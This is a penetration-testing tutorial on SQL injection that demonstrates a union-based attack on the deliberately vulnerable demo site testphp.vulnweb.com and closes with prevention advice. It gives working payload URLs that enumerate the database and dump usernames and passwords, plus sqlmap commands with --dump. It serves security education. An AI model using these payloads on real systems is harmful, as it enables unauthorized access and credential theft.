SQL Injection
SQL injection is a vulnerability that occurs when a SQL query is passed via the user input through which one can access to sensitive data from the database.
Impact of SQL Injection
- SQL injection attack can result in unauthorized access to sensitive data.
- SQL injection attack can result in compromise of the underlying server or other back-end infrastructure.
- SQL injection attack can lead to a denial-of-service attack.
CASE 1-In-band SQLi
1. Error based SQL
Error based SQL Injection approach works by passing an invalid input in the query which triggers an error in the database.
2. UNION based SQL
The UNION operator is used to join two SQL statements or queries. Union Based SQL Injection takes advantage of this feature to make the database return desired results in addition to the intended results.
This can be achieved by injecting another query in place of plain text and using the UNION keyword at the beginning of the query.
B. Determining the Number of Columns
There are two effective methods to determine the number of columns.
First method
It involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs.
‘ ORDER BY 1– ‘
ORDER BY 2– ‘
ORDER BY 3–
etc.
We will see the example later on.
Second method
It involves submitting a series of UNION SELECT payloads specifying a different number of null values:
- UNION SELECT NULL–
- UNION SELECT NULL,NULL–
- UNION SELECT NULL,NULL,NULL–
etc.
If the number of nulls does not match the number of columns, the database returns an error.
Example of a Union-Based SQL Injection
Let’s consider a web application which is vulnerable to SQL injection, we will use
http://testphp.vulnweb.com/ here to demonstrate how we can exploit a SQL Injection.
A. How to Detect SQL Injection
We will fuzz the endpoints which have some parameter values which in turn results in some SQL error.
Use error base technique by adding an apostrophe (’) symbol at the end of the input. http://testphp.vulnweb.com/listproducts.php?cat=1’
It will generate some SQL error.
B. Determining the Number of Columns.
There is a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so we can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns.
Method 1 –
We can use ORDER BY clauses or UNION SELECT payloads to determine the number of columns.
http://testphp.vulnweb.com/listproducts.php?cat=1 ORDER BY 1 — http://testphp.vulnweb.com/listproducts.php?cat=1 ORDER BY 2 — And so on ..
When we exceed the original number of columns it will give error rather than returning the products.
On ORDER BY 12 clause it will return an error. That means only 11 columns are present.
Method 2 –
Similarly using the UNION SELECT payload we can determine the number of columns for the category. When the payload contains the equal number of NULL as the column it will return the products else it will give out error. So the number of columns is 11 here.
http://testphp.vulnweb.com/listproducts.php?cat=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
NOTE–UNION operator is commonly used to attach a malicious SQL query to the original query intended to be run by the web application. The result of the injected query will be joined with the original query result. This allows the attacker to obtain column values from other tables.
C. Determine Vulnerable Column
Use the query UNION SELECT 1,2,3,4,5,6,7,8,9,10,11–. This will retrieve the details from the vulnerable columns. We got numbers: 2, 7, 9 & 11. Thus, column 2, 7, 9&11 are vulnerable to SQLi.
http://testphp.vulnweb.com/listproducts.php?cat=-1 union select 1,2,3,4,5,6,7,8,9,10,11 —
D. Determine Database Name and Version
Use the query UNION SELECT 1,database(),3,4,5,6,7,8,9,10,11 –. This will reflect the DB name in place of 2. Or use the query UNION SELECT 1,2,3,4,5,6,database(),8,9,10,11–.This will reflect the DB name in place of 7.
http://testphp.vulnweb.com/listproducts.php?cat=-1 UNION SELECT 1,database(),3,4,5,6,7,8,9,10,11 —
We got the database name as ACUART.
Similarly Database Version can be fetched using
http://testphp.vulnweb.com/listproducts.php?cat=-1 UNION SELECT 1,version(),3,4,5,6,7,8,9,10,11 —
Database version is 8.0.22-0ubuntu0.20.04.2
E. Determine Current User
Use the query UNION SELECT 1,current_user(),3,4,5,6,7,8,9,10,11 –. This will reflect the current user name in place of 2. Or use the query UNION SELECT 1,2,3,4,5,6,current_user(),8,9,10,11–. This will reflect the current user name in place of 7.
http://testphp.vulnweb.com/listproducts.php?cat=-1 UNION SELECT 1,current_user(),3,4,5,6,7,8,9,10,11 —
We got the database name as acuart@localhost.
F. Determine Table Name
Now, we will try to get Table name from the Database, table_name from the DB acuart. Use the query-
UNION SELECT 1,table_name,3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()–
We got the table_names in place of 2.
Or we can fetch all name of all tables by
Query- UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()–+
http://testphp.vulnweb.com/listproducts.php?cat=-1%20union%20select%201,group_concat(tabl e_name),3,4,5,6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schem a=database()–+
G. Determine Column Name
We have database(acuart) & table name(users). So we will fetch the column_names. Use query
UNION SELECT 1,column_name,3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name=’users’ —
It will give column names as – name, pass, uname, phone etc.
H. Dump User Credentials
We fetched the table_name & column_name. So to dump the credentials use the following query
UNION SELECT 1,uname,3,4,5,6,pass,8,9,10,11 from users —
As value 7 is also vulnerable, we can retrieve details over there.
NOTE– If in case only 1 parameter (here, value 2) was retrievable. Use a group_concat to concatenate the values together.
Query- UNION SELECT 1, group_concat(uname,’:’,pass),3,4,5,6,7,8,9,10,11 from users —
Exploiting SQL Injections via SQLMAP(Automation)
SQLMAP is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws. It comes with a powerful detection engine and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Parrot & Kali OS, by default, have preinstalled SQLMAP.
Let’s see different options available in SQLMAP.
Command used: SQLMAP -h
A. Determine Database
We will be using –u switch that specifies the URL & –dbs to query for the available database name.
Command used: SQLMAP -u http://testphp.vulnweb.com/listproducts.php?cat=1 –dbs
We got 2 database names- acuart , information_schema
B. Determine Tables
Let’s fetch the tables from acuart database
Command used: SQLMAP -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart –tables
We got the list of tables in the DB acuart. We will fetch the content of table:users.
C. Determine Columns
Let’s fetch the columns from table users and from database acuart.
Command used: SQLMAP -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users –column
D. Dump Table
Now we will fetch the content of users table from acuart database.
Command used: SQLMAP -u “http://testphp.vulnweb.com/listproducts.php?cat=1” -D acuart -T users –dump
–dump dumps the available user details from the table users. Here, data of only one user is present.
CASE 2 – Inferential SQLi (Blind SQLi)
Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application’s response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
The two types of inferential SQL Injection are
- Blind-boolean-based SQLi
- Blind-time-based SQLi.
CASE 3 – Out-of-band SQLi
Out-of-band SQL injection (OOB SQLi) is a specific type of SQL injection. The term
out-of-band means that the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control.
SQL Injection Prevention
- Use of Prepared Statements (with Parameterized Queries)
- Use of Properly Constructed Stored Procedures
- Allow-list Input Validation
- Escaping All User Supplied Input
Reference and Sources:
- Demonstration site– http://testphp.vulnweb.com/
- SQLMAP URL: https://sqlmap.org/, https://github.com/sqlmapproject/sqlmap
- OWASP SQL Injection- https://owasp.org/www-community/attacks/SQL_Injection
